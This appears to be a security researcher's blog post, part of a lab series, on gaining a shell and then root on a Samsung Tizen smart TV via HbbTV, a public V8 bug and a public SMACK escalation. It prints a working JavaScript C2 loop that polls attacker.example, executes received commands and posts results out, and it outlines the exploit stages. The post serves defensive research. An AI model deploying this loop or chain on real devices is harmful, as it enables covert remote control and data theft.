Part 3 of the HbbTV notes from the lab series. Part 1 is the primer; Part 2 is the bench. This is the part where the rig stops being interesting on its own and starts being a delivery mechanism for actual code execution.
At the end of the previous post the rig was reliably getting a Samsung Q60T to fetch and execute an HTML/JS payload from my VPS, with no user keypress, from a DVB-T transmission inside a screened enclosure. The next question is the obvious one: can I get a shell from there?
The unsurprising answer is yes. The slightly surprising answer is how easily. This post walks through what I have at the end of a weekend of bench work, in the order I built it. There is nothing in here that is novel — every component is public. The novelty, such as it is, is that all of these public components fit together and run on a TV.
What the TV browser actually is
After getting uname to run, by methods I will get to, the TV reports itself as:
Linux Samsung 4.1.10 #1 SMP PREEMPT Mon Sep 21 14:16:54 UTC 2020 armv7l GNU/Linux
That is a 32-bit ARM build of Tizen 5.5 on a kernel from 2020. The user the browser runs as is:
uid=5001(owner) gid=100(users) groups=29(audio),44(video),100(users),
201(display),1901(log),6509(app_logging),10001(priv_externalstorage),
10502(priv_mediastorage),10503(priv_recorder),10704(priv_internet),
10705(priv_network_get) context="User::Pkg::org.tizen.browser"
The interesting part is the SMACK label at the end. Tizen uses Simplified Mandatory Access Control in Kernel to confine each package to a labelled context. The browser sits inside User::Pkg::org.tizen.browser. It can talk to anything else labelled compatibly; it cannot see the wider filesystem; /etc/passwd is unreadable; /dev/ is mostly invisible.
This is the second-most-useful security boundary on the TV. (The most useful one, an actual update mechanism that ships chromium patches, is not present.)
The browser is a chromium derivative, reporting roughly:
Mozilla/5.0 (Linux; Tizen 5.5; SmartHub; SmartTV) AppleWebKit/537.36
(KHTML, like Gecko) 79.0.3945.79/5.5 TV Safari/537.36
Two things stand out.
1. chromium 79. That is from December 2019. Eighteen months and dozens of public V8 CVEs out of date by the time I am writing this in July 2021. 2. The build does not auto-update. The Samsung firmware update mechanism — which would in principle replace this build — has not been triggered on this unit since I bought it. I have asked it to check for updates and it has consistently declined to find any.
A chromium build that's two-plus years behind is, for working purposes, a chromium build for which there is a public exploit. The bug I am going to use is CVE-2020-6383.
CVE-2020-6383 in one paragraph
CVE-2020-6383 is a type-confusion in Array.prototype.sort in V8. The condition is, roughly, that when sort is invoked on a sparse array with a custom comparator that messes with the array's prototype chain, the optimised path will treat a tagged-pointer slot as a raw word. From there you can construct a typed array whose backing store overlaps an arbitrary V8 heap region, and from there you can do the usual write-what-where to walk into the JIT region and pivot to your own RWX bytes. It is, structurally, a textbook V8 bug. CVSS 8.8. The bug was reported through Google's VRP, patched in chromium 80.0.3987.122 in March 2020, and the patch commit is public.
There are several public PoCs. The one I am using is a tidied version of the original VRP-report PoC, around 350 lines of JavaScript. It runs on the Q60T's chromium 79 without modification.
I am not going to paste the full exploit here — it is public, easy to find for anyone who wants it, and I would rather not be the easiest hit on site:peterbassill.com overflow.js. The structure of my overflow.js is the same as the public PoCs:
1. Spray a few thousand typed arrays. 2. Trigger the sort confusion to corrupt the metadata of one of them. 3. Use the corrupted typed array to walk the V8 heap, find the JIT region, and read its base address. 4. Write a small shellcode-equivalent (a JS function that gets JIT-compiled into a particular layout) and pivot execution into it via a second Array.prototype.sort invocation.
What this gives you, at the end of the chain, is arbitrary code execution inside the renderer process.
shell.js
overflow.js is the first stage. The second stage is shell.js, which is the command channel.
The browser cannot make outbound TCP socket connections from JavaScript directly. It can, however, do fetch() to anywhere. So shell.js is structurally a long-poll loop:
(function poll() {
fetch('http://attacker.example/cmd', { credentials: 'omit' })
.then(r => r.text())
.then(cmd => {
try {
const out = Function('"use strict"; return (' + cmd + ')')();
return fetch('http://attacker.example/out', { method: 'POST', body: String(out) });
} catch (e) {
return fetch('http://attacker.example/err', { method: 'POST', body: e.message });
}
})
.finally(() => setTimeout(poll, 5000));
})();
It is unsophisticated. It does not encrypt. It does not hide. It does not have to. The C2 endpoint is on the open internet via the TV's egress (we will come back to which egress in Part 4). There is no EDR agent watching JavaScript inside a TV's renderer process, because no such agent exists.
I run a tiny Flask server on the VPS that takes a command via GET /cmd from a queue I can write to, and prints the output of POST /out back to my terminal. Total Flask handler: 28 lines. Total time to write a passable C2 once overflow.js works: an afternoon.
What you cannot do without privilege escalation
Within the SMACK-confined org.tizen.browser context, here is what shell.js can do:
- Read the network state — IP addresses, routing table, scan results from
priv_network_get. - Fetch any URL on any network the TV can reach.
- Read anything under
priv_mediastorageorpriv_externalstorage— typically the USB-storage area and the cached media. - Write into the browser's package sandbox at
/opt/usr/apps/org.tizen.browser/.
And here is what you can't:
- Read
/etc/passwd,/etc/shadow, or anything else with a SMACK label outside the package context. - Talk to the rest of Tizen's IPC bus — you can't trigger the WiFi-config service, the system-update service, or the media-playback service.
- Load kernel modules.
- Read
/proc/<pid>/memfor processes you don't own.
The browser process is well-confined. The browser process is also a fine perch from which to do the next thing, which is to escape into a context that isn't confined.
The Synacktiv pattern
The published Samsung Q60T rooting work that's most relevant here is from Synacktiv, who presented at GreHack in late 2021 — a write-up of an end-to-end chain that gets from browser-context RCE to root on the same generation of TV I am using. The fundamental shape of their chain is:
1. Drop a small static binary getroot and a couple of C source files (common.c, reboot.c) into a directory that SMACK permits the browser to write — practically, /ltd_rwarea/ on Samsung's Tizen layout. 2. Use a known kernel-side primitive to rewrite the SMACK label of the running process from User::Pkg::org.tizen.browser to System. 3. With the System label, drop into a root shell.
I have reproduced the relevant parts of their chain on my own bench without too much trouble — the kernel build my Q60T ships is close enough to theirs that the primitive transfers. After running getroot, the SMACK label collapses and the shell becomes:
# id
uid=0(root) gid=0(root)
At which point everything that was confined a moment ago is wide open. /etc/shadow is readable. The WiFi-config IPC is reachable. /proc/kallsyms is unredacted. The ifconfig output that previously showed only the wired interface now shows everything.
What it shows is the most interesting part of all of this, and that is what the next post is about.
A sober note
None of the components above are mine. The HbbTV spec is public. The chromium build is public. CVE-2020-6383 is public. The Synacktiv rooting work is public. The combination — broadcast an AIT, point a chromium 79 at your payload, ride a public V8 bug into a public Tizen escalation — is the kind of thing that takes a single competent researcher one weekend to put together, because every link in the chain is documented to a level that lowers the bar substantially.
I do not think this is a particularly clever piece of research. I think it is a particularly available piece of research, because the components are out there. The reason I am writing about it is the same reason I write about anything: it is in everyone's interest that defenders know what an attacker can do without having to be especially clever. And nothing in this chain requires anything except patience and access to public material.
If you are a defender: the next post is the one to read. The hard part of the attack — the part the SOC tools are not watching for — is what happens after the shell.
Next post: the unlocked back door.